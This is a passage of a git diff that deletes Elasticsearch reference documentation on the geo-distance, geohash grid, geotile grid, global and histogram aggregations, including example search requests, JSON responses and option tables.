-          "from": 0.0,
-          "to": 100000.0,
-          "doc_count": 3
-        },
-        {
-          "key": "100000.0-300000.0",
-          "from": 100000.0,
-          "to": 300000.0,
-          "doc_count": 1
-        },
-        {
-          "key": "300000.0-*",
-          "from": 300000.0,
-          "doc_count": 2
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
-The specified field must be of type `geo_point` (which can only be set explicitly in the mappings). And it can also hold an array of `geo_point` fields, in which case all will be taken into account during aggregation. The origin point can accept all formats supported by the <<geo-point,`geo_point` type>>:
-
-* Object format: `{ "lat" : 52.3760, "lon" : 4.894 }` - this is the safest format as it is the most explicit about the `lat` & `lon` values
-* String format: `"52.3760, 4.894"` - where the first number is the `lat` and the second is the `lon`
-* Array format: `[4.894, 52.3760]` - which is based on the `GeoJson` standard and where the first number is the `lon` and the second one is the `lat`
-
-By default, the distance unit is `m` (meters) but it can also accept: `mi` (miles), `in` (inches), `yd` (yards), `km` (kilometers), `cm` (centimeters), `mm` (millimeters).
-
-[source,console]
---------------------------------------------------
-POST /museums/_search?size=0
-{
-  "aggs": {
-    "rings": {
-      "geo_distance": {
-        "field": "location",
-        "origin": "52.3760, 4.894",
-        "unit": "km", <1>
-        "ranges": [
-          { "to": 100 },
-          { "from": 100, "to": 300 },
-          { "from": 300 }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The distances will be computed in kilometers
-
-There are two distance calculation modes: `arc` (the default), and `plane`. The `arc` calculation is the most accurate. The `plane` is the fastest but least accurate. Consider using `plane` when your search context is "narrow", and spans smaller geographical areas (~5km). `plane` will return higher error margins for searches across very large areas (e.g. cross continent search). The distance calculation type can be set using the `distance_type` parameter:
-
-[source,console]
---------------------------------------------------
-POST /museums/_search?size=0
-{
-  "aggs": {
-    "rings": {
-      "geo_distance": {
-        "field": "location",
-        "origin": "52.3760, 4.894",
-        "unit": "km",
-        "distance_type": "plane",
-        "ranges": [
-          { "to": 100 },
-          { "from": 100, "to": 300 },
-          { "from": 300 }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-==== Keyed Response
-
-Setting the `keyed` flag to `true` will associate a unique string key with each bucket and return the ranges as a hash rather than an array:
-
-[source,console]
---------------------------------------------------
-POST /museums/_search?size=0
-{
-  "aggs": {
-    "rings_around_amsterdam": {
-      "geo_distance": {
-        "field": "location",
-        "origin": "52.3760, 4.894",
-        "ranges": [
-          { "to": 100000 },
-          { "from": 100000, "to": 300000 },
-          { "from": 300000 }
-        ],
-        "keyed": true
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "rings_around_amsterdam": {
-      "buckets": {
-        "*-100000.0": {
-          "from": 0.0,
-          "to": 100000.0,
-          "doc_count": 3
-        },
-        "100000.0-300000.0": {
-          "from": 100000.0,
-          "to": 300000.0,
-          "doc_count": 1
-        },
-        "300000.0-*": {
-          "from": 300000.0,
-          "doc_count": 2
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
-It is also possible to customize the key for each range:
-
-[source,console]
---------------------------------------------------
-POST /museums/_search?size=0
-{
-  "aggs": {
-    "rings_around_amsterdam": {
-      "geo_distance": {
-        "field": "location",
-        "origin": "52.3760, 4.894",
-        "ranges": [
-          { "to": 100000, "key": "first_ring" },
-          { "from": 100000, "to": 300000, "key": "second_ring" },
-          { "from": 300000, "key": "third_ring" }
-        ],
-        "keyed": true
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "rings_around_amsterdam": {
-      "buckets": {
-        "first_ring": {
-          "from": 0.0,
-          "to": 100000.0,
-          "doc_count": 3
-        },
-        "second_ring": {
-          "from": 100000.0,
-          "to": 300000.0,
-          "doc_count": 1
-        },
-        "third_ring": {
-          "from": 300000.0,
-          "doc_count": 2
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
diff --git a/docs/reference/aggregations/bucket/geohashgrid-aggregation.asciidoc b/docs/reference/aggregations/bucket/geohashgrid-aggregation.asciidoc
deleted file mode 100644
index 953c525627c..00000000000
--- a/docs/reference/aggregations/bucket/geohashgrid-aggregation.asciidoc
+++ /dev/null
@@ -1,312 +0,0 @@
-[[search-aggregations-bucket-geohashgrid-aggregation]]
-=== Geohash grid aggregation
-++++
-<titleabbrev>Geohash grid</titleabbrev>
-++++
-
-A multi-bucket aggregation that works on `geo_point` fields and groups points into buckets that represent cells in a grid.
-The resulting grid can be sparse and only contains cells that have matching data. Each cell is labeled using a {wikipedia}/Geohash[geohash] which is of user-definable precision.
-
-* High precision geohashes have a long string length and represent cells that cover only a small area.
-* Low precision geohashes have a short string length and represent cells that each cover a large area.
-
-Geohashes used in this aggregation can have a choice of precision between 1 and 12.
-
-WARNING: The highest-precision geohash of length 12 produces cells that cover less than a square metre of land and so high-precision requests can be very costly in terms of RAM and result sizes.
-Please see the example below on how to first filter the aggregation to a smaller geographic area before requesting high-levels of detail.
-
-The specified field must be of type `geo_point` (which can only be set explicitly in the mappings) and it can also hold an array of `geo_point` fields, in which case all points will be taken into account during aggregation.
-
-
-==== Simple low-precision request
-
-[source,console]
---------------------------------------------------
-PUT /museums
-{
-  "mappings": {
-    "properties": {
-      "location": {
-        "type": "geo_point"
-      }
-    }
-  }
-}
-
-POST /museums/_bulk?refresh
-{"index":{"_id":1}}
-{"location": "52.374081,4.912350", "name": "NEMO Science Museum"}
-{"index":{"_id":2}}
-{"location": "52.369219,4.901618", "name": "Museum Het Rembrandthuis"}
-{"index":{"_id":3}}
-{"location": "52.371667,4.914722", "name": "Nederlands Scheepvaartmuseum"}
-{"index":{"_id":4}}
-{"location": "51.222900,4.405200", "name": "Letterenhuis"}
-{"index":{"_id":5}}
-{"location": "48.861111,2.336389", "name": "Musée du Louvre"}
-{"index":{"_id":6}}
-{"location": "48.860000,2.327000", "name": "Musée d'Orsay"}
-
-POST /museums/_search?size=0
-{
-  "aggregations": {
-    "large-grid": {
-      "geohash_grid": {
-        "field": "location",
-        "precision": 3
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-  "large-grid": {
-    "buckets": [
-      {
-        "key": "u17",
-        "doc_count": 3
-      },
-      {
-        "key": "u09",
-        "doc_count": 2
-      },
-      {
-        "key": "u15",
-        "doc_count": 1
-      }
-    ]
-  }
-}
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
-==== High-precision requests
-
-When requesting detailed buckets (typically for displaying a "zoomed in" map) a filter like <<query-dsl-geo-bounding-box-query,geo_bounding_box>> should be applied to narrow the subject area otherwise potentially millions of buckets will be created and returned.
-
-[source,console]
---------------------------------------------------
-POST /museums/_search?size=0
-{
-  "aggregations": {
-    "zoomed-in": {
-      "filter": {
-        "geo_bounding_box": {
-          "location": {
-            "top_left": "52.4, 4.9",
-            "bottom_right": "52.3, 5.0"
-          }
-        }
-      },
-      "aggregations": {
-        "zoom1": {
-          "geohash_grid": {
-            "field": "location",
-            "precision": 8
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-The geohashes returned by the `geohash_grid` aggregation can be also used for zooming in. To zoom into the
-first geohash `u17` returned in the previous example, it should be specified as both `top_left` and `bottom_right` corner:
-
-[source,console]
---------------------------------------------------
-POST /museums/_search?size=0
-{
-  "aggregations": {
-    "zoomed-in": {
-      "filter": {
-        "geo_bounding_box": {
-          "location": {
-            "top_left": "u17",
-            "bottom_right": "u17"
-          }
-        }
-      },
-      "aggregations": {
-        "zoom1": {
-          "geohash_grid": {
-            "field": "location",
-            "precision": 8
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "zoomed-in": {
-      "doc_count": 3,
-      "zoom1": {
-        "buckets": [
-          {
-            "key": "u173zy3j",
-            "doc_count": 1
-          },
-          {
-            "key": "u173zvfz",
-            "doc_count": 1
-          },
-          {
-            "key": "u173zt90",
-            "doc_count": 1
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
-For "zooming in" on the system that don't support geohashes, the bucket keys should be translated into bounding boxes using
-one of available geohash libraries. For example, for javascript the https://github.com/sunng87/node-geohash[node-geohash] library
-can be used:
-
-[source,js]
---------------------------------------------------
-var geohash = require('ngeohash');
-
-// bbox will contain [ 52.03125, 4.21875, 53.4375, 5.625 ]
-//                   [   minlat,  minlon,  maxlat, maxlon]
-var bbox = geohash.decode_bbox('u17');
---------------------------------------------------
-// NOTCONSOLE
-
-==== Requests with additional bounding box filtering
-
-The `geohash_grid` aggregation supports an optional `bounds` parameter
-that restricts the points considered to those that fall within the
-bounds provided. The `bounds` parameter accepts the bounding box in
-all the same <<query-dsl-geo-bounding-box-query-accepted-formats,accepted formats>> of the
-bounds specified in the Geo Bounding Box Query. This bounding box can be used with or
-without an additional `geo_bounding_box` query filtering the points prior to aggregating.
-It is an independent bounding box that can intersect with, be equal to, or be disjoint
-to any additional `geo_bounding_box` queries defined in the context of the aggregation.
-
-[source,console,id=geohashgrid-aggregation-with-bounds]
---------------------------------------------------
-POST /museums/_search?size=0
-{
-  "aggregations": {
-    "tiles-in-bounds": {
-      "geohash_grid": {
-        "field": "location",
-        "precision": 8,
-        "bounds": {
-          "top_left": "53.4375, 4.21875",
-          "bottom_right": "52.03125, 5.625"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "tiles-in-bounds": {
-      "buckets": [
-        {
-          "key": "u173zy3j",
-          "doc_count": 1
-        },
-        {
-          "key": "u173zvfz",
-          "doc_count": 1
-        },
-        {
-          "key": "u173zt90",
-          "doc_count": 1
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
-==== Cell dimensions at the equator
-The table below shows the metric dimensions for cells covered by various string lengths of geohash.
-Cell dimensions vary with latitude and so the table is for the worst-case scenario at the equator.
-
-[horizontal]
-*GeoHash length*::	*Area width x height*
-1::	    5,009.4km x 4,992.6km
-2::	    1,252.3km x 624.1km
-3::	    156.5km x 156km
-4::	    39.1km x 19.5km
-5::	    4.9km x 4.9km
-6::	    1.2km x 609.4m
-7::	    152.9m x 152.4m
-8::	    38.2m x 19m
-9::	    4.8m x 4.8m
-10::	1.2m x 59.5cm
-11::	14.9cm x 14.9cm
-12::	3.7cm x 1.9cm
-
-
-[discrete]
-[role="xpack"]
-==== Aggregating `geo_shape` fields
-
-Aggregating on <<geo-shape>> fields works just as it does for points, except that a single
-shape can be counted for in multiple tiles. A shape will contribute to the count of matching values
-if any part of its shape intersects with that tile. Below is an image that demonstrates this:
-
-
-image:images/spatial/geoshape_grid.png[]
-
-==== Options
-
-[horizontal]
-field::         Mandatory. The name of the field indexed with GeoPoints.
-
-precision::     Optional. The string length of the geohashes used to define
-                cells/buckets in the results. Defaults to 5.
-                The precision can either be defined in terms of the integer
-                precision levels mentioned above. Values outside of [1,12] will
-                be rejected.
-                Alternatively, the precision level can be approximated from a
-                distance measure like "1km", "10m". The precision level is
-                calculate such that cells will not exceed the specified
-                size (diagonal) of the required precision. When this would lead
-                to precision levels higher than the supported 12 levels,
-                (e.g. for distances <5.6cm) the value is rejected.
-
-bounds::        Optional. The bounding box to filter the points in the bucket.
-
-size::          Optional. The maximum number of geohash buckets to return
-                (defaults to 10,000). When results are trimmed, buckets are
-                prioritised based on the volumes of documents they contain.
-
-shard_size::    Optional. To allow for more accurate counting of the top cells
-                returned in the final result the aggregation defaults to
-                returning `max(10,(size x number-of-shards))` buckets from each
-                shard. If this heuristic is undesirable, the number considered
-                from each shard can be over-ridden using this parameter.
diff --git a/docs/reference/aggregations/bucket/geotilegrid-aggregation.asciidoc b/docs/reference/aggregations/bucket/geotilegrid-aggregation.asciidoc
deleted file mode 100644
index e6be07633c0..00000000000
--- a/docs/reference/aggregations/bucket/geotilegrid-aggregation.asciidoc
+++ /dev/null
@@ -1,255 +0,0 @@
-[[search-aggregations-bucket-geotilegrid-aggregation]]
-=== Geotile grid aggregation
-++++
-<titleabbrev>Geotile grid</titleabbrev>
-++++
-
-A multi-bucket aggregation that works on `geo_point` fields and groups points into
-buckets that represent cells in a grid. The resulting grid can be sparse and only
-contains cells that have matching data. Each cell corresponds to a
-{wikipedia}/Tiled_web_map[map tile] as used by many online map
-sites. Each cell is labeled using a "{zoom}/{x}/{y}" format, where zoom is equal
-to the user-specified precision.
-
-* High precision keys have a larger range for x and y, and represent tiles that
-cover only a small area.
-* Low precision keys have a smaller range for x and y, and represent tiles that
-each cover a large area.
-
-See https://wiki.openstreetmap.org/wiki/Zoom_levels[Zoom level documentation]
-on how precision (zoom) correlates to size on the ground. Precision for this
-aggregation can be between 0 and 29, inclusive.
-
-WARNING: The highest-precision geotile of length 29 produces cells that cover
-less than a 10cm by 10cm of land and so high-precision requests can be very
-costly in terms of RAM and result sizes. Please see the example below on how
-to first filter the aggregation to a smaller geographic area before requesting
-high-levels of detail.
-
-The specified field must be of type `geo_point` (which can only be set
-explicitly in the mappings) and it can also hold an array of `geo_point`
-fields, in which case all points will be taken into account during aggregation.
-
-
-==== Simple low-precision request
-
-[source,console]
---------------------------------------------------
-PUT /museums
-{
-  "mappings": {
-    "properties": {
-      "location": {
-        "type": "geo_point"
-      }
-    }
-  }
-}
-
-POST /museums/_bulk?refresh
-{"index":{"_id":1}}
-{"location": "52.374081,4.912350", "name": "NEMO Science Museum"}
-{"index":{"_id":2}}
-{"location": "52.369219,4.901618", "name": "Museum Het Rembrandthuis"}
-{"index":{"_id":3}}
-{"location": "52.371667,4.914722", "name": "Nederlands Scheepvaartmuseum"}
-{"index":{"_id":4}}
-{"location": "51.222900,4.405200", "name": "Letterenhuis"}
-{"index":{"_id":5}}
-{"location": "48.861111,2.336389", "name": "Musée du Louvre"}
-{"index":{"_id":6}}
-{"location": "48.860000,2.327000", "name": "Musée d'Orsay"}
-
-POST /museums/_search?size=0
-{
-  "aggregations": {
-    "large-grid": {
-      "geotile_grid": {
-        "field": "location",
-        "precision": 8
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "large-grid": {
-      "buckets": [
-        {
-          "key": "8/131/84",
-          "doc_count": 3
-        },
-        {
-          "key": "8/129/88",
-          "doc_count": 2
-        },
-        {
-          "key": "8/131/85",
-          "doc_count": 1
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
-==== High-precision requests
-
-When requesting detailed buckets (typically for displaying a "zoomed in" map)
-a filter like <<query-dsl-geo-bounding-box-query,geo_bounding_box>> should be
-applied to narrow the subject area otherwise potentially millions of buckets
-will be created and returned.
-
-[source,console]
---------------------------------------------------
-POST /museums/_search?size=0
-{
-  "aggregations": {
-    "zoomed-in": {
-      "filter": {
-        "geo_bounding_box": {
-          "location": {
-            "top_left": "52.4, 4.9",
-            "bottom_right": "52.3, 5.0"
-          }
-        }
-      },
-      "aggregations": {
-        "zoom1": {
-          "geotile_grid": {
-            "field": "location",
-            "precision": 22
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "zoomed-in": {
-      "doc_count": 3,
-      "zoom1": {
-        "buckets": [
-          {
-            "key": "22/2154412/1378379",
-            "doc_count": 1
-          },
-          {
-            "key": "22/2154385/1378332",
-            "doc_count": 1
-          },
-          {
-            "key": "22/2154259/1378425",
-            "doc_count": 1
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
-==== Requests with additional bounding box filtering
-
-The `geotile_grid` aggregation supports an optional `bounds` parameter
-that restricts the points considered to those that fall within the
-bounds provided. The `bounds` parameter accepts the bounding box in
-all the same <<query-dsl-geo-bounding-box-query-accepted-formats,accepted formats>> of the
-bounds specified in the Geo Bounding Box Query. This bounding box can be used with or
-without an additional `geo_bounding_box` query filtering the points prior to aggregating.
-It is an independent bounding box that can intersect with, be equal to, or be disjoint
-to any additional `geo_bounding_box` queries defined in the context of the aggregation.
-
-[source,console,id=geotilegrid-aggregation-with-bounds]
---------------------------------------------------
-POST /museums/_search?size=0
-{
-  "aggregations": {
-    "tiles-in-bounds": {
-      "geotile_grid": {
-        "field": "location",
-        "precision": 22,
-        "bounds": {
-          "top_left": "52.4, 4.9",
-          "bottom_right": "52.3, 5.0"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "tiles-in-bounds": {
-      "buckets": [
-        {
-          "key": "22/2154412/1378379",
-          "doc_count": 1
-        },
-        {
-          "key": "22/2154385/1378332",
-          "doc_count": 1
-        },
-        {
-          "key": "22/2154259/1378425",
-          "doc_count": 1
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"_shards": $body._shards,"hits":$body.hits,"timed_out":false,/]
-
-[discrete]
-[role="xpack"]
-==== Aggregating `geo_shape` fields
-
-Aggregating on <<geo-shape>> fields works just as it does for points, except that a single
-shape can be counted for in multiple tiles. A shape will contribute to the count of matching values
-if any part of its shape intersects with that tile. Below is an image that demonstrates this:
-
-
-image:images/spatial/geoshape_grid.png[]
-
-==== Options
-
-[horizontal]
-field::         Mandatory. The name of the field indexed with GeoPoints.
-
-precision::     Optional. The integer zoom of the key used to define
-                cells/buckets in the results. Defaults to 7.
-                Values outside of [0,29] will be rejected.
-
-bounds:         Optional. The bounding box to filter the points in the bucket.
-
-size::          Optional. The maximum number of geohash buckets to return
-                (defaults to 10,000). When results are trimmed, buckets are
-                prioritised based on the volumes of documents they contain.
-
-shard_size::    Optional. To allow for more accurate counting of the top cells
-                returned in the final result the aggregation defaults to
-                returning `max(10,(size x number-of-shards))` buckets from each
-                shard. If this heuristic is undesirable, the number considered
-                from each shard can be over-ridden using this parameter.
diff --git a/docs/reference/aggregations/bucket/global-aggregation.asciidoc b/docs/reference/aggregations/bucket/global-aggregation.asciidoc
deleted file mode 100644
index 72673586861..00000000000
--- a/docs/reference/aggregations/bucket/global-aggregation.asciidoc
+++ /dev/null
@@ -1,69 +0,0 @@
-[[search-aggregations-bucket-global-aggregation]]
-=== Global aggregation
-++++
-<titleabbrev>Global</titleabbrev>
-++++
-
-Defines a single bucket of all the documents within the search execution
-context. This context is defined by the indices and the document types you're
-searching on, but is *not* influenced by the search query itself.
-
-NOTE:   Global aggregators can only be placed as top level aggregators because
-        it doesn't make sense to embed a global aggregator within another
-        bucket aggregator.
-
-Example:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "query": {
-    "match": { "type": "t-shirt" }
-  },
-  "aggs": {
-    "all_products": {
-      "global": {}, <1>
-      "aggs": {     <2>
-      "avg_price": { "avg": { "field": "price" } }
-      }
-    },
-    "t_shirts": { "avg": { "field": "price" } }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> The `global` aggregation has an empty body
-<2> The sub-aggregations that are registered for this `global` aggregation
-
-The above aggregation demonstrates how one would compute aggregations
-(`avg_price` in this example) on all the documents in the search context,
-regardless of the query (in our example, it will compute the average price over
-all products in our catalog, not just on the "shirts").
-
-The response for the above aggregation:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "all_products": {
-      "doc_count": 7, <1>
-      "avg_price": {
-        "value": 140.71428571428572 <2>
-      }
-    },
-    "t_shirts": {
-      "value": 128.33333333333334 <3>
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-<1> The number of documents that were aggregated (in our case, all documents
-within the search context)
-<2> The average price of all products in the index
-<3> The average price of all t-shirts
diff --git a/docs/reference/aggregations/bucket/histogram-aggregation.asciidoc b/docs/reference/aggregations/bucket/histogram-aggregation.asciidoc
deleted file mode 100644
index b8621f5c3ba..00000000000
--- a/docs/reference/aggregations/bucket/histogram-aggregation.asciidoc
+++ /dev/null
@@ -1,413 +0,0 @@
-[[search-aggregations-bucket-histogram-aggregation]]
-=== Histogram aggregation
-++++
-<titleabbrev>Histogram</titleabbrev>
-++++
-
-A multi-bucket values source based aggregation that can be applied on numeric values or numeric range values extracted
-from the documents. It dynamically builds fixed size (a.k.a. interval) buckets over the values. For example, if the
-documents have a field that holds a price (numeric), we can configure this aggregation to dynamically build buckets with
-interval `5` (in case of price it may represent $5). When the aggregation executes, the price field of every document
-will be evaluated and will be rounded down to its closest bucket - for example, if the price is `32` and the bucket size
-is `5` then the rounding will yield `30` and thus the document will "fall" into the bucket that is associated with the
-key `30`.
-To make this more formal, here is the rounding function that is used:
-
-[source,java]
---------------------------------------------------
-bucket_key = Math.floor((value - offset) / interval) * interval + offset
---------------------------------------------------
-
-For range values, a document can fall into multiple buckets. The first bucket is computed from the lower
-bound of the range in the same way as a bucket for a single value is computed.  The final bucket is computed in the same
-way from the upper bound of the range, and the range is counted in all buckets in between and including those two.
-
-The `interval` must be a positive decimal, while the `offset` must be a decimal in `[0, interval)`
-(a decimal greater than or equal to `0` and less than `interval`)
-
-The following snippet "buckets" the products based on their `price` by interval of `50`:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "prices": {
-      "histogram": {
-        "field": "price",
-        "interval": 50
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "prices": {
-      "buckets": [
-        {
-          "key": 0.0,
-          "doc_count": 1
-        },
-        {
-          "key": 50.0,
-          "doc_count": 1
-        },
-        {
-          "key": 100.0,
-          "doc_count": 0
-        },
-        {
-          "key": 150.0,
-          "doc_count": 2
-        },
-        {
-          "key": 200.0,
-          "doc_count": 3
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-==== Minimum document count
-
-The response above show that no documents has a price that falls within the range of `[100, 150)`. By default the
-response will fill gaps in the histogram with empty buckets. It is possible change that and request buckets with
-a higher minimum count thanks to the `min_doc_count` setting:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "prices": {
-      "histogram": {
-        "field": "price",
-        "interval": 50,
-        "min_doc_count": 1
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "prices": {
-      "buckets": [
-        {
-          "key": 0.0,
-          "doc_count": 1
-        },
-        {
-          "key": 50.0,
-          "doc_count": 1
-        },
-        {
-          "key": 150.0,
-          "doc_count": 2
-        },
-        {
-          "key": 200.0,
-          "doc_count": 3
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-[[search-aggregations-bucket-histogram-aggregation-extended-bounds]]
-By default the `histogram` returns all the buckets within the range of the data itself, that is, the documents with
-the smallest values (on which with histogram) will determine the min bucket (the bucket with the smallest key) and the
-documents with the highest values will determine the max bucket (the bucket with the highest key). Often, when
-requesting empty buckets, this causes a confusion, specifically, when the data is also filtered.
-
-To understand why, let's look at an example:
-
-Lets say the you're filtering your request to get all docs with values between `0` and `500`, in addition you'd like
-to slice the data per price using a histogram with an interval of `50`. You also specify `"min_doc_count" : 0` as you'd
-like to get all buckets even the empty ones. If it happens that all products (documents) have prices higher than `100`,
-the first bucket you'll get will be the one with `100` as its key. This is confusing, as many times, you'd also like
-to get those buckets between `0 - 100`.
-
-With `extended_bounds` setting, you now can "force" the histogram aggregation to start building buckets on a specific
-`min` value and also keep on building buckets up to a `max` value (even if there are no documents anymore). Using
-`extended_bounds` only makes sense when `min_doc_count` is 0 (the empty buckets will never be returned if `min_doc_count`
-is greater than 0).
-
-Note that (as the name suggest) `extended_bounds` is **not** filtering buckets. Meaning, if the `extended_bounds.min` is higher
-than the values extracted from the documents, the documents will still dictate what the first bucket will be (and the
-same goes for the `extended_bounds.max` and the last bucket). For filtering buckets, one should nest the histogram aggregation
-under a range `filter` aggregation with the appropriate `from`/`to` settings.
-
-Example:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "query": {
-    "constant_score": { "filter": { "range": { "price": { "to": "500" } } } }
-  },
-  "aggs": {
-    "prices": {
-      "histogram": {
-        "field": "price",
-        "interval": 50,
-        "extended_bounds": {
-          "min": 0,
-          "max": 500
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-When aggregating ranges, buckets are based on the values of the returned documents.  This means the response may include
-buckets outside of a query's range. For example, if your query looks for values greater than 100, and you have a range
-covering 50 to 150, and an interval of 50, that document will land in 3 buckets - 50, 100, and 150. In general, it's
-best to think of the query and aggregation steps as independent - the query selects a set of documents, and then the
-aggregation buckets those documents without regard to how they were selected.
-See <<search-aggregations-bucket-range-field-note,note on bucketing range
-fields>> for more information and an example.
-
-[[search-aggregations-bucket-histogram-aggregation-hard-bounds]]
-The `hard_bounds` is a counterpart of `extended_bounds` and can limit the range of buckets in the histogram. It is
-particularly useful in the case of open <<range, data ranges>> that can result in a very large number of buckets.
-
-Example:
-
-[source,console,id=histogram-aggregation-hard-bounds-example]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "query": {
-    "constant_score": { "filter": { "range": { "price": { "to": "500" } } } }
-  },
-  "aggs": {
-    "prices": {
-      "histogram": {
-        "field": "price",
-        "interval": 50,
-        "hard_bounds": {
-          "min": 100,
-          "max": 200
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-In this example even though the range specified in the query is up to 500, the histogram will only have 2 buckets starting at 100 and 150.
-All other buckets will be omitted even if documents that should go to this buckets are present in the results.
-
-==== Order
-
-By default the returned buckets are sorted by their `key` ascending, though the order behaviour can be controlled using
-the `order` setting. Supports the same `order` functionality as the <<search-aggregations-bucket-terms-aggregation-order,`Terms Aggregation`>>.
-
-==== Offset
-
-By default the bucket keys start with 0 and then continue in even spaced steps
-of `interval`, e.g. if the interval is `10`, the first three buckets (assuming
-there is data inside them) will be `[0, 10)`, `[10, 20)`, `[20, 30)`. The bucket
-boundaries can be shifted by using the `offset` option.
-
-This can be best illustrated with an example. If there are 10 documents with values ranging from 5 to 14, using interval `10` will result in
-two buckets with 5 documents each. If an additional offset `5` is used, there will be only one single bucket `[5, 15)` containing all the 10
-documents.
-
-==== Response Format
-
-By default, the buckets are returned as an ordered array. It is also possible to request the response as a hash
-instead keyed by the buckets keys:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "prices": {
-      "histogram": {
-        "field": "price",
-        "interval": 50,
-        "keyed": true
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "prices": {
-      "buckets": {
-        "0.0": {
-          "key": 0.0,
-          "doc_count": 1
-        },
-        "50.0": {
-          "key": 50.0,
-          "doc_count": 1
-        },
-        "100.0": {
-          "key": 100.0,
-          "doc_count": 0
-        },
-        "150.0": {
-          "key": 150.0,
-          "doc_count": 2
-        },
-        "200.0": {
-          "key": 200.0,
-          "doc_count": 3
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they
-had a value.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "quantity": {
-      "histogram": {
-        "field": "quantity",
-        "interval": 10,
-        "missing": 0 <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> Documents without a value in the `quantity` field will fall into the same bucket as documents that have the value `0`.
-
-[[search-aggregations-bucket-histogram-aggregation-histogram-fields]]
-==== Histogram fields
-
-Running a histogram aggregation over histogram fields computes the total number of counts for each interval.
-
-For example, executing a histogram aggregation against the following index that stores pre-aggregated histograms
-with latency metrics (in milliseconds) for different networks:
-
-[source,console]
---------------------------------------------------
-PUT metrics_index/_doc/1
-{
-  "network.name" : "net-1",
-  "latency_histo" : {
